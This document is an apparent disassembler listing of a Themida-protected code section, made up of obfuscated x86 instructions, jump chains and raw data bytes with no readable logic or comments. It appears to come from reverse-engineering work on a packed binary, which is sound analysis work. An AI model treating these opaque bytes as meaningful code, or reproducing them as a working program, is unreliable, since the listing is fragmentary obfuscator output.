db 0FFh
; ---------------------------------------------------------------------------
loc_55D1CD: ; CODE XREF: Themida_:0055BDB4j
pop ebp
sub edx, esi
push edi
mov edi, 723355D3h
or edi, 54F8322Dh
push esi
mov esi, 50000B62h
jmp loc_562580
; ---------------------------------------------------------------------------
db 87h
dd 248B2404h, 241C8924h, 42474FFh, 0E92434FFh, 0FFFFD319h
dd 99E9CDFEh, 660000AFh, 30C8C281h, 0E9CA0166h, 6658h
dd 0F2E98A2Ch, 0FFFFF84h
db 0B7h, 0C0h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push ebp
mov ebp, 27284936h
mov esi, 0D8D7B6CEh
add esi, ebp
pop ebp
sub ebp, 3DF6032h
add ebp, esi
push ebx
mov ebx, 7FB42DF6h
jmp loc_564EA6
; ---------------------------------------------------------------------------
loc_55D23F: ; CODE XREF: Themida_:00555D2Aj
sub esp, 4
mov [esp], edi
sub dword ptr [esp], 3CC230A1h
pop ecx
add ecx, 3CC230A1h
pop edi
mov esi, [esp]
push 4BDEh
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
push dword ptr [esp]
pop edx
add esp, 4
add eax, ecx
pop ecx
push ecx
push esi
push 19101CBEh
pop esi
push edx
jmp loc_55C18A
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0E904C483h, 5FBCh, 0C8BCA29h, 4C48124h, 81000000h, 0F1042444h
dd 13A0B44h, 53042454h, 0B44F1BBh, 69C6E93Ah, 0C601FFFFh
dd 8324048Bh, 0C68304C4h, 24343302h, 33243431h, 6BE92434h
dd 5D0000A6h, 0FF2434FFh, 0E9592434h, 8AC0h, 0C581CD01h
dd 10A745D1h, 99BB5359h, 8129C700h, 0FA3BE3E3h, 0E9DBF717h
dd 9F31h, 0AF0DE9ACh, 0C481FFFFh, 4, 5C24048Fh, 66DBCE80h
dd 3003B450h, 805866E6h, 0F68055C6h, 5AF028C6h, 6866D828h
dd 3AE91869h, 81000097h, 0BB9B1BE9h, 59C829CEh, 7D1E9h
dd 24248B00h, 0FF58F3E9h, 27EB35FFh, 33356AFFh, 523BD63h
dd 4B006CCDh, 1A68FB2Dh, 58C20194h, 0FFB395E9h, 24248BFFh
dd 0E9243C89h, 0FFFFC2D5h
; ---------------------------------------------------------------------------
loc_55D36C: ; CODE XREF: Themida_:00555185j
mov edi, 0FECC85C5h
add ebp, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_556CE0
; ---------------------------------------------------------------------------
loc_55D38C: ; CODE XREF: Themida_:00565822j
add esi, 0D98FF03Ah
mov ebp, esi
pop esi
sub [esp+4], ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
push ecx
mov ecx, 6C91382Ch
mov esi, 936EC7D8h
add esi, ecx
pop ecx
add ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov eax, [esp]
add esp, 4
push 668Bh
mov [esp], ebp
mov ebp, 5A1965CDh
add ebp, 0FFFFFFFFh
jmp loc_55B141
; ---------------------------------------------------------------------------
dd 5259CA01h, 42474FFh, 24048F5Ah, 583EE95Ch, 8953FFFFh
dd 74BAE9F3h, 0FDB6FFFFh, 805AF320h, 0D920BCC3h, 1E9805Bh
dd 9B80E9h
db 0
; ---------------------------------------------------------------------------
loc_55D415: ; CODE XREF: Themida_:00561E92j
add ebp, esi
pop esi
xor ebp, [esp]
jmp loc_5617FC
; ---------------------------------------------------------------------------
loc_55D420: ; CODE XREF: Themida_:0055961Cj
sub edi, 90AE6038h
add ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_55C17D
; ---------------------------------------------------------------------------
dd offset dword_445750+0A118h
align 4
dd 0FFAF2FE9h, 56455EFFh, 572378BEh, 0CEF6815Ah, 31FEEB31h
dd 6BE95EF5h, 55FFFFE8h, 24DDE9h, 60EC8000h, 60E9E600h
dd 0B8FFFFACh, 4C4B5176h, 2D1F2925h, 2EB72D31h, 772D7BC0h
dd 0E90AB635h, 0FFFF982Ah, 0AEB52CBBh, 59CB318Bh, 34FFEB01h
dd 0C4815D24h, 4, 0F2C1BE56h, 0EB81D6BDh, 37CF75BDh, 54AEC381h
dd 0F3292D53h, 54AEEB81h, 0C3812D53h, 37CF75BDh, 0FFC8EAE9h
dd 2260B9FFh, 0A9E96A7Ah, 81FFFF68h, 1552F8E3h, 40EB8155h
dd 892364F0h, 0C2815BDAh, 45DA7A5Ah, 0FFA535E9h, 240C89FFh
dd 4B9h, 0FFCB0100h, 81592434h, 4C4h, 241C3300h, 0E9241C31h
dd 0FFFFC23Ah, 5B202D66h, 5E2434FFh, 4472E9h, 24348900h
dd 24348B54h, 0E904C483h, 0FFFFCED9h, 8107E9C1h, 2F119C1h
dd 59C8319Eh, 48BC689h, 4C48124h, 0E9000000h, 6008h
; ---------------------------------------------------------------------------
loc_55D530: ; CODE XREF: Themida_:00563A2Dj
push bx
jmp loc_5668B9
; ---------------------------------------------------------------------------
loc_55D537: ; CODE XREF: Themida_:00559E46j
mov ebp, edx
pop edx
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push 5594h
mov [esp], esi
push esp
pop esi
jmp loc_557BCB
; ---------------------------------------------------------------------------
db 89h
dd 88E9241Ch, 35FFFF5Ah, 7E892851h, 2D06E0C1h, 7329149Eh
dd 2EA0E9h
db 0
; ---------------------------------------------------------------------------
loc_55D571: ; CODE XREF: Themida_:00555028j
add dword ptr [esp+4], 1B2267F7h
pop eax
pop ebx
sub ebx, 78F40055h
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_566ED3
; ---------------------------------------------------------------------------
db 0B9h, 0CBh, 13h
dd 2DE94309h, 5B00001Ah, 68514D04h, 56EBh, 0E9240489h
dd 0FFFF9721h
; ---------------------------------------------------------------------------
loc_55D5B8: ; CODE XREF: Themida_:00555D38j
push ebx
jmp loc_563069
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC83240Ch, 24348904h, 9EECE9h, 74FF5300h, 0A0E90424h
dd 54000077h, 0FF76D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D5DD: ; CODE XREF: Themida_:0055C938j
shr ebx, 8
sub ebx, 0DEB5F501h
mov edx, ebx
pop ebx
shl edx, 7
add edx, 4329E133h
and eax, edx
mov edx, [esp]
jmp loc_5653F6
; ---------------------------------------------------------------------------
dd 9793F381h, 0DF895E83h, 0FFAC66E9h, 1BFFFh, 0FA010000h
dd 0FF8C59E9h, 50EB80FFh
db 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], dx
jmp loc_5573CE
; ---------------------------------------------------------------------------
loc_55D635: ; CODE XREF: Themida_:0055994Bj
add esp, 4
or eax, eax
jz loc_565C0B
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_557567
; ---------------------------------------------------------------------------
dd 2EB2C281h, 0EA010C5Ah, 2EB2EA81h, 0C2810C5Ah, 6B5309D2h
dd 0E1B8505Dh, 50EE42Bh, 483939BFh, 0C106E0C1h, 0FF2D02E0h
dd 53FFFFFFh, 9A6001BBh, 0E9D801E2h, 0FFFFAF10h
; ---------------------------------------------------------------------------
loc_55D68C: ; CODE XREF: Themida_:005677DAj
add esp, 4
jmp loc_561CD0
; ---------------------------------------------------------------------------
dd 0E904C383h, 46DEh
; ---------------------------------------------------------------------------
loc_55D69C: ; CODE XREF: Themida_:0055C643j
push dword ptr [esp]
pop ecx
jmp loc_556CE6
; ---------------------------------------------------------------------------
db 5Ch, 89h, 4
dd 48B5424h, 4C48124h, 52000000h, 4BAh, 71062D00h, 0E2E96E98h
dd 81FFFF9Ah, 2402C7h, 5FFD8901h, 7B58E9h, 5562E900h, 8158FFFFh
dd 1F3162E2h, 8058E97Bh, 5352FFFFh, 0E46D89BBh, 0BE53BA56h
dd 0DA299439h, 4EC2815Bh, 0E941C95Bh, 0A954h, 66D830ACh
dd 0D6B15152h, 881CE980h, 240C8BCAh, 6604C483h, 0CDB551h
dd 0C8B66E8h, 2C48324h, 0FF6C22E9h, 243C33FFh, 0E9243C31h
dd 0FFFFBBECh
; ---------------------------------------------------------------------------
loc_55D72C: ; CODE XREF: Themida_:00562F8Cj
jz loc_561F45
push dword ptr [edi+1Ch]
push 7B96h
mov [esp], ebp
jmp loc_557F44
; ---------------------------------------------------------------------------
dw 0C381h
dd 5D76202Bh, 0FFBAC2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D74D: ; CODE XREF: Themida_:00552C9Ej
mov [esp], ecx
mov ecx, 47936C4h
xor esi, ecx
mov ecx, [esp]
add esp, 4
xor esi, 5F530039h
jmp loc_56670C
; ---------------------------------------------------------------------------
db 55h
dd 24087DBDh, 0B26EE921h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D776: ; CODE XREF: Themida_:00555CF6j
push ebp
not dword ptr [esp]
pop ebp
sub ebp, 5175B955h
sub esp, 4
mov [esp], edi
push ebp
push ecx
jmp loc_560B73
; ---------------------------------------------------------------------------
loc_55D791: ; CODE XREF: Themida_:0055AD57j
pop edx
jmp loc_566BE8
; ---------------------------------------------------------------------------
db 51h
dd 0E1D7AB9h, 5BC98168h, 81438B02h, 5517A7C1h, 68F18174h
dd 29D0FA89h, 6AE959CAh
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D7B7: ; CODE XREF: Themida_:00564EA1j
xchg ecx, [esp]
pop esp
mov [esp], ebx
push 1Ch
jmp loc_56471B
; ---------------------------------------------------------------------------
dd 815AD629h, 6F20E1F6h, 2E6C15Fh, 0D013C681h, 0EB817FE0h
dd 2B9D4CA6h, 7B7BEB81h, 0F30147DAh, 7B7BC381h, 0C38147DAh
dd 2B9D4CA6h, 8124348Bh, 4C4h, 1C335F00h, 241C3124h, 5C241C33h
dd 240CFF66h, 5426E99Ch, 0EEC0FFFFh, 0AED0E907h, 5854FFFFh
dd 6CE95255h, 81FFFFD2h, 0F9123AE9h, 2434FF75h, 0E689565Bh
dd 412BBD55h, 0DDF778A0h, 0FFB07FE9h, 76CA80FFh, 281AEA80h
dd 0C3005AD3h, 0FF8683E9h, 4EC81FFh, 89000000h, 2BD242Ch
dd 0E9000000h, 0FFFFBDE8h
; ---------------------------------------------------------------------------
loc_55D860: ; CODE XREF: Themida_:005575D1j
sub edx, 626A7534h
jmp loc_561A50
; ---------------------------------------------------------------------------
db 89h
dd 52B850E7h, 0E93CE31Ch, 0FFFFF5FFh
; ---------------------------------------------------------------------------
loc_55D878: ; CODE XREF: Themida_:00556B60j
pop ebx
push ecx
mov ecx, 5E3B09BEh
sub ecx, 1
add ecx, 6023292h
push esi
push 3442h
mov [esp], ebp
push edi
jmp loc_5557E4
; ---------------------------------------------------------------------------
dw 99E9h
dd 8AFFFF53h, 68552434h, 70EBh, 24048F54h, 4240483h, 4C5815Dh
dd 52000000h, 2BAh, 0BEC58100h, 1153F64h, 0BEED81D5h, 5A153F64h
dd 9AB9E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D8D2: ; CODE XREF: Themida_:00561F6Cj
mov [esp], ebx
jmp loc_5670E7
; ---------------------------------------------------------------------------
dw 0E952h
dd 0FFFF53C3h, 8650E94Ah, 2C8B0000h, 4C48124h, 68000000h
dd 5A3Bh, 54241C89h, 1630685Bh, 0A3E90000h, 58FFFFABh
dd 4EC81h, 4890000h, 0C5E95324h, 51000040h, 0CF06BDB9h
dd 0E9CA891Dh, 0FFFF569Bh, 51E78957h, 0CA700EB9h, 0AF1811Eh
dd 811ECA70h, 6A73FBC7h, 81CF0139h, 6A73FBEFh, 0A881E939h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D942: ; CODE XREF: Themida_:0055B39Aj
mov [esp], esi
jmp loc_558C3A
; ---------------------------------------------------------------------------
dw 0F231h
dd 8124348Bh, 4C4h, 5AD50100h, 571E9h, 0E4E95900h, 28FFFFA6h
dd 0F8A6E9F0h, 0C681FFFFh, 0AFC4A231h, 34FFF189h
db 24h, 5Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_563EC1
; ---------------------------------------------------------------------------
dw 0D9F6h
dd 8005E1C0h, 0CC289CC1h, 83240C8Bh, 0E50804C4h, 771BE9h
db 0
; ---------------------------------------------------------------------------
loc_55D9A1: ; CODE XREF: Themida_:00557BC6j
mov ebp, 9C92D35h
add edx, ebp
mov ebp, [esp]
jmp loc_5660B0
; ---------------------------------------------------------------------------
dd 11FC6866h, 241C8966h, 0FE3071B7h, 0D6F65B66h, 8003EEC0h
dd 0F00021C6h, 4FC0E9h
db 0
; ---------------------------------------------------------------------------
loc_55D9CD: ; CODE XREF: Themida_:00553B8Dj
mov esi, [esp]
jmp loc_565A4C
; ---------------------------------------------------------------------------
loc_55D9D5: ; CODE XREF: Themida_:005609B9j
pop edx
add ebx, eax
sub ebx, 284E1722h
push dword ptr [esp]
pop eax
jmp loc_564805
; ---------------------------------------------------------------------------
loc_55D9E7: ; CODE XREF: Themida_:00560370j
push edi
mov edi, 385320Ch
mov esi, edi
pop edi
jmp loc_563F24
; ---------------------------------------------------------------------------
db 0BBh, 4, 0
dd 0ED810000h, 15B20F1Ah, 0C581DD01h, 15B20F1Ah, 0E9241C8Bh
dd 0FFFF9C45h, 0B0240489h, 8E0C03Eh, 2C02E8C0h, 8C04E9C1h
dd 34890000h, 69486824h, 0F75E5CD7h, 63CE81DEh, 521DE82Bh
dd 1B968h, 24048900h, 82203668h, 0C483E92Ah, 0C383FFFFh
dd 241C8704h, 0A496E9h, 0E9F08600h, 0FFFF740Ch, 70D66857h
dd 0F75F4B96h, 3072E9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DA66: ; CODE XREF: Themida_:0055716Fj
pop dword ptr [esp]
push dword ptr [esp]
jmp loc_55C648
; ---------------------------------------------------------------------------
loc_55DA71: ; CODE XREF: Themida_:0055DCACj
add esp, 4
push edi
mov edi, 1
jmp loc_55AFD4
; ---------------------------------------------------------------------------
loc_55DA7F: ; CODE XREF: Themida_:00561641j
mov ebp, [esp]
add esp, 4
jmp loc_55918F
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0BB7F3A5Bh, 0E95BDA31h, 0FFFF7A8Eh, 81240C8Bh, 4C4h
dd 8521E900h, 34FFFFFFh, 7821E924h, 0EC81FFFFh, 4, 68240489h
dd 6FCB5B54h, 77054058h, 0E97B9A35h, 2796h, 0B4F7E95Dh
dd 0E704FFFFh, 0E95B3204h, 80E8h, 855B8168h, 0EE815E52h
dd 19BB426Fh, 0F702E6C1h, 4CC681DEh, 57E32864h, 0F989F789h
dd 0FDDE9h, 7CB66800h, 14890000h, 6C685724h, 5F53DB38h
dd 0E0A6E94Fh, 0D82DFFFFh, 2957AB0Eh, 0ED805F0h, 860557ABh
dd 8B00C464h, 54512434h, 0F269E959h, 3C87FFFFh, 0EC835C24h
dd 242C8904h, 4BE56h, 0F5890000h, 0BDD4E95Eh, 0E9ACFFFFh
dd 4973h, 0B1243481h, 5814F436h, 0FFAFCCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DB55: ; CODE XREF: Themida_:0055C3F5j
mov eax, edx
pop edx
sub edx, 471D2F95h
sub edx, eax
add edx, 471D2F95h
jmp loc_5668B3
; ---------------------------------------------------------------------------
db 59h
dd 8105E9C1h, 2FCFA8E9h, 0E9CF89F5h, 0FFFFE4EBh, 25E9E589h
dd 8900005Ch, 2C81242Ch, 2C135E24h, 93BFE92Ch, 0F660000h
dd 5166C8AFh, 509AE99Ch, 0F187FFFFh, 11C1815Eh, 51B086C4h
dd 0D729595Ah, 8124148Bh, 4C4h, 81DF0100h, 43192CC7h, 7913E94Fh
dd 48FFFFFh, 9817E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DBCA: ; CODE XREF: Themida_:00557650j
push 55E5h
mov [esp], ebp
push edi
jmp loc_5564D2
; ---------------------------------------------------------------------------
dd 6801C283h, 47D0h, 0BD242C89h, 4142C9h, 2C8BEA01h, 4EC8324h
dd 9826E9h, 0F7D5F700h, 0F5BF57DDh, 817F4C47h, 0FE2201C7h
dd 0EFD14720h, 0FFB747E9h, 69B951FFh, 29818299h, 62E959CDh
dd 8300006Dh, 148904ECh, 0EAEDBA24h, 0D6312744h, 8324148Bh
dd 542D04C4h, 0E92C3073h, 0FA5h, 24048B66h, 20AFE9h, 6FF52D00h
dd 0D82938D0h, 0FF59AFE9h, 4EC81FFh, 89000000h, 4832424h
dd 815A0424h, 4C2h, 4C28100h, 87000000h, 248B2414h, 0ADA6E924h
dd 0E95BFFFFh, 8A7Ch
; ---------------------------------------------------------------------------
loc_55DC78: ; CODE XREF: Themida_:00560C6Cj
add esi, 4
jmp loc_565D8D
; ---------------------------------------------------------------------------
aRtzquqsri db 'RTZQUQéà›',0
align 2
dw 0D029h
dd 944CE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DC96: ; CODE XREF: Themida_:0055B502j
mov esi, 851981C9h
sub esi, 54E3487h
sub esi, ebx
add esi, 54E3487h
mov ebx, [esp]
jmp loc_55DA71
; ---------------------------------------------------------------------------
aSU db '[^é',27h,'ž',0
align 4
dd 0DAE9DDF6h, 4000020h, 2CE8286Ah, 89FEE96Ah, 0EEC00000h
dd 7FE95108h
db 76h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DCD3: ; CODE XREF: Themida_:005636F9j
push 5548h
mov [esp], ebp
push 26C7h
mov [esp], esi
pop ebp
pop esi
push 2D9Ah
jmp loc_553272
; ---------------------------------------------------------------------------
db 89h
dd 0EC81241Ch, 4, 68240489h, 1B0A0B44h, 5124048Bh, 0B8505954h
dd 4, 48BC101h, 4C48124h, 0E9000000h, 6872h
; ---------------------------------------------------------------------------
loc_55DD1C: ; CODE XREF: Themida_:00567BC8j
dec dl
shr dl, 1
push ecx
mov cl, 35h
add cl, 12h
add cl, 28h
or cl, 0F2h
sub cl, 0F0h
add dl, cl
pop ecx
push eax
jmp loc_564B72
; ---------------------------------------------------------------------------
loc_55DD38: ; CODE XREF: Themida_:00553C0Aj
pop ebx
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_55C3D4
; ---------------------------------------------------------------------------
aVsxh db 'VéxH',0
dw 5C00h
dd 2D74E9h, 0C3815800h, 0D3D952B9h, 1C8BDA31h, 4C48324h
dd 840FC909h, 0FFFF6276h, 5365E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DD72: ; CODE XREF: Themida_:00561F62j
pop esi
and eax, 38387FAFh
jmp loc_55AD0A
; ---------------------------------------------------------------------------
db 29h, 0E9h, 81h
dd 225FEBE9h, 0B689E941h, 0A9E9FFFFh, 81FFFF4Eh, 4ECh
dd 24148900h, 4FE9E289h, 66FFFF89h, 2404BB0Fh, 4E8EE99Ch
dd 0DAF7FFFFh, 0EA81D2F7h, 0AE1C40DBh, 0E95AD301h, 0FFFFDB6Bh
; ---------------------------------------------------------------------------
loc_55DDBC: ; CODE XREF: Themida_:00556018j
mov esi, 5FA24B32h
sub esi, 3CD7B65h
sub esi, 77C56011h
not esi
neg esi
xor esi, 0C9517119h
xor esi, 132F5192h
and esi, 4C31D58h
or esi, 24104D27h
sub esi, 60356184h
shl esi, 7
sub esi, 0DF5D97Ch
mov ebx, esi
pop esi
add edx, ebx
pop ebx
jmp loc_554435
; ---------------------------------------------------------------------------
loc_55DE03: ; CODE XREF: Themida_:00556407j
sub ecx, 0FFFFFFFFh
xor ecx, 50415C38h
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55B2DB
; ---------------------------------------------------------------------------
db 81h, 0CBh, 16h
dd 8124B22Ah, 0A61486E3h, 0A6D3E924h, 0BA66FFFFh, 8166185Ch
dd 660B63E2h, 6114E281h, 0D5CA8166h, 6109E918h, 885CFFFFh
dd 2434FFCFh, 80ABE959h, 166FFFFh, 296659CBh, 0BF6657C3h
dd 81661059h, 665312EFh, 8166D7F7h, 0E92010EFh, 5D1Bh
dd 4C4815Bh, 68000000h, 12E9h, 55241489h, 0FF9BE4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DE85: ; CODE XREF: Themida_:00559C89j
push ebp
mov ebp, 4CF0083Bh
jmp loc_566B1C
; ---------------------------------------------------------------------------
dd 4312E681h, 0EE81102Bh, 27814990h, 8106EEC1h, 0F7B773EEh
dd 5EF201CBh, 0B951C201h, 376A706Fh, 74CFEA81h, 0CA296126h
dd 74CFC281h, 34FF6126h, 0C4815924h, 4, 5345E958h, 0FF55FFFFh
dd 0FF042474h, 74E92434h, 81FFFFDBh, 0EA5B74E9h, 2434FF41h
dd 3C7E685Ah, 0C890000h, 81595424h, 4C1h, 0EC835600h, 24048904h
dd 4755B951h, 0E1812757h, 5041105Fh, 0E181D1F7h, 785F3C98h
dd 53F18149h, 5519B21Ah, 0E889CD89h, 15E9595Dh
db 9Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DF23: ; CODE XREF: Themida_:0055EEEEj
mov edx, esi
pop esi
mov eax, 82499BA9h
add eax, edx
pop edx
push ecx
mov ecx, eax
mov ebx, ecx
jmp loc_565C8A
; ---------------------------------------------------------------------------
loc_55DF38: ; CODE XREF: Themida_:00560C24j
mov edx, [esp]
add esp, 4
push edx
xchg ebx, [esp]
push ebx
jmp loc_56362E
; ---------------------------------------------------------------------------
aWsjn db 'Wé†n',0
align 2
loc_55DF4E: ; CODE XREF: Themida_:005647B2j
mov edi, [esp]
jmp $+5
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h
dd 241CF6C3h, 4CC2E99Ch, 0F681FFFFh, 0B97D2143h, 525EF201h
dd 42474FFh, 0E77FE95Ah, 489FFFFh, 0F689B024h, 2C6C04D0h
dd 58C5306Ah, 0C8BE828h, 0A4A6E924h, 0C231FFFFh, 0DBF28158h
dd 505D5733h, 1708BA52h, 0EA810B36h, 539E6586h, 8F4CE951h
dd 0C381FFFFh, 1EDA2F3Ah, 51240C8Bh, 42E95954h, 5EFFFF51h
dd 1CE9D829h, 66FFFF99h, 5324048Bh, 6A1F68h, 36A1E900h
dd 895A0000h, 5F295FFBh, 2434FF40h, 0FF9FE4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DFF5: ; CODE XREF: Themida_:005601C9j
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], eax
mov eax, 3A8C0D2Ah
push esi
mov esi, 6E062A57h
shr esi, 6
add esi, 38D3F485h
jmp loc_555FFD
; ---------------------------------------------------------------------------
dd 4BD55h, 0E8290000h, 2ED9E9h
db 0
; ---------------------------------------------------------------------------
loc_55E029: ; CODE XREF: Themida_:00561A4Bj
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_56307D
; ---------------------------------------------------------------------------
db 5Eh
dd 114F685Eh, 3C890000h, 2474FF24h, 48F5F04h, 34895C24h
dd 87A9E924h, 0E95CFFFFh, 0FFFF4BD8h, 4C5815Dh, 0E9000000h
dd 8EEh, 0B951h, 0D1290000h, 1EE9CA89h, 89000096h, 0AB68241Ch
dd 8B270770h, 0C481241Ch, 4, 4C29EB81h, 8153F455h, 678C2434h
dd 81590AB9h, 0B9678CF1h, 2EE95B0Ah
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E0A7: ; CODE XREF: Themida_:005575B2j
mov [esp], ebx
push dword ptr [esp]
jmp loc_5573F4
; ---------------------------------------------------------------------------
dw 0C89h
dd 2414F724h, 0FFA7BFE9h, 58C631FFh, 348BF101h, 9896E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E0CA: ; CODE XREF: Themida_:00553E8Cj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_561BD7
; ---------------------------------------------------------------------------
dd 225CE581h, 12E923C9h, 81FFFFFBh, 10779EDh, 0B2ED8148h
dd 8157C540h, 0F1402EDh, 6ED8137h, 0E986D3B5h, 0FFFF7519h
dd 18B4BB53h, 0F7E927C3h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E10B: ; CODE XREF: Themida_:005612F3j
pop esp
or eax, eax
jnz loc_56416B
push 1372h
mov [esp], esi
jmp loc_558C12
; ---------------------------------------------------------------------------
db 81h, 0EAh, 3Fh
dd 81113742h, 37695FEAh, 0E9EA0148h, 766Dh, 0C307E950h
dd 0EC81FFFFh, 4, 0BA241489h, 5C9B0317h, 37685153h, 8B6BA466h
dd 8953240Ch, 4B850E3h, 0E9000000h, 6129h, 81240C8Bh, 4C4h
dd 24048B00h, 4C481h, 0BA520000h, 2, 875AD701h, 248B243Ch
dd 9D44E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E186: ; CODE XREF: Themida_:00561F55j
xor ecx, esi
xor esi, ecx
xor ecx, esi
pop esi
jmp loc_56063F
; ---------------------------------------------------------------------------
dw 0C381h
dd 685946C2h, 0EB81CB01h, 685946C2h, 0F7C38159h, 137F178h
dd 0BBF57C3h, 8116F350h, 6D4212C7h, 6EFC10Eh, 0C781D7F7h
dd 3886FB40h, 0E95FFB29h, 632Bh, 8BFA015Ah, 0C483243Ch
dd 0A4E95204h, 43000011h, 8104E3C1h, 0C0B374F3h, 0E9DF0111h
dd 3609h, 4244481h, 18642E31h, 1C16E9h, 4C48100h, 0E9000000h
dd 0FFFFA705h
; ---------------------------------------------------------------------------
loc_55E200: ; CODE XREF: Themida_:00553EE8j
pop ebx
sub edi, 1DD251B2h
jmp loc_56678C
; ---------------------------------------------------------------------------
dd 0ABE9AF04h, 81000027h, 686726C5h, 0F7D5F75Eh, 53D5F7D5h
dd 26CCE9h, 20E95B00h, 5F000089h, 2254502Dh, 29685105h
dd 8B7FA170h, 0E950240Ch, 0FFFF6689h, 5C518DBDh, 0E9EA2923h
dd 0FFFFC816h, 0BB241C89h, 447C1AF1h, 0FE3EBE2Dh, 5D80151h
dd 51FE3EBEh, 0C158925Bh, 0DEE902EAh, 89FFFFD6h, 4812424h
dd 424h, 0BD555B00h, 627D1D76h, 0FFDFE1E9h, 0C98141FFh
dd 46C33774h, 0E981D9F7h, 81B09486h, 8159CA89h, 0BFE72EC2h
dd 5AD60918h, 2414F756h, 8E9535Eh
db 8Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E2A7: ; CODE XREF: Themida_:0055C680j
dec esi
push 40F9h
mov [esp], edi
mov edi, 24665B22h
jmp loc_554A15
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5A0424h, 248B2404h, 0C8B6624h, 4EC8324h, 552E9h, 4962E900h
dd 0C681FFFFh, 19DB68D6h, 9C89E9h
db 0
; ---------------------------------------------------------------------------
loc_55E2E1: ; CODE XREF: Themida_:00561F29j
push edx
mov edx, esp
add edx, 4
add edx, 2
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_554F43
; ---------------------------------------------------------------------------
db 51h
dd 0D5F6F588h, 245E9h
db 0
; ---------------------------------------------------------------------------
loc_55E30D: ; CODE XREF: Themida_:0056328Aj
push ebp
mov ebp, 732D4943h
sub edi, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 43C843E2h
jmp loc_562F58
; ---------------------------------------------------------------------------
loc_55E329: ; CODE XREF: Themida_:00558920j
shl edx, 1
push ecx
push 0CF6h
mov [esp], ebp
push 5BA729B2h
mov ebp, [esp]
jmp loc_55ED6F
; ---------------------------------------------------------------------------
loc_55E341: ; CODE XREF: Themida_:00556110j
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
pop eax
jmp loc_558110
; ---------------------------------------------------------------------------
dw 0EB00h
dd 80A2EB80h, 0F5968EBh, 8B66C0B6h, 68532414h, 60BBh, 0A6E8E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E372: ; CODE XREF: Themida_:0055AC86j
mov edi, 79FB1F1Ah
jmp loc_55AD29
; ---------------------------------------------------------------------------
dd 0E9028F66h, 0FFFF48B4h
; ---------------------------------------------------------------------------
loc_55E384: ; CODE XREF: Themida_:005551E6j
add ebp, ebx
jmp loc_55E8AB
; ---------------------------------------------------------------------------
db 83h
dd 8B042404h, 0C483243Ch, 0D919E904h, 2C8BFFFFh, 4C48124h
dd 29000000h, 34335FFEh, 24343124h, 0E9243433h, 0FFFF4908h
dd 280FE980h, 0C0FE59C8h, 9234982Ch, 458C128h, 0B0B25256h
dd 0C280CAFEh, 4EAC000h, 8057CA80h, 0EC833EC2h, 24048904h
dd 0C480A4B4h, 37C48011h, 0C0E3CC80h, 0EC8008E4h, 58E200F9h
dd 0FFFE17E9h, 242C8BFFh, 8104C483h, 5733DAEDh, 56F52919h
dd 252FF1BEh, 3EEC135h, 64A5BF57h, 0CF8136CFh, 6558259Ah
dd 8104E7C1h, 2F0B78E7h, 81DFF734h, 0E1E48C7h, 5FFE099Eh
dd 7D41CE81h, 0BD55285Bh, 10244320h, 0F75DEE21h, 5F681D6h
dd 1E68C8Fh, 0B2A8E9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E44A: ; CODE XREF: Themida_:0055F233j
mov ebp, 1B81CFDEh
add edx, ebp
jmp loc_5538F0
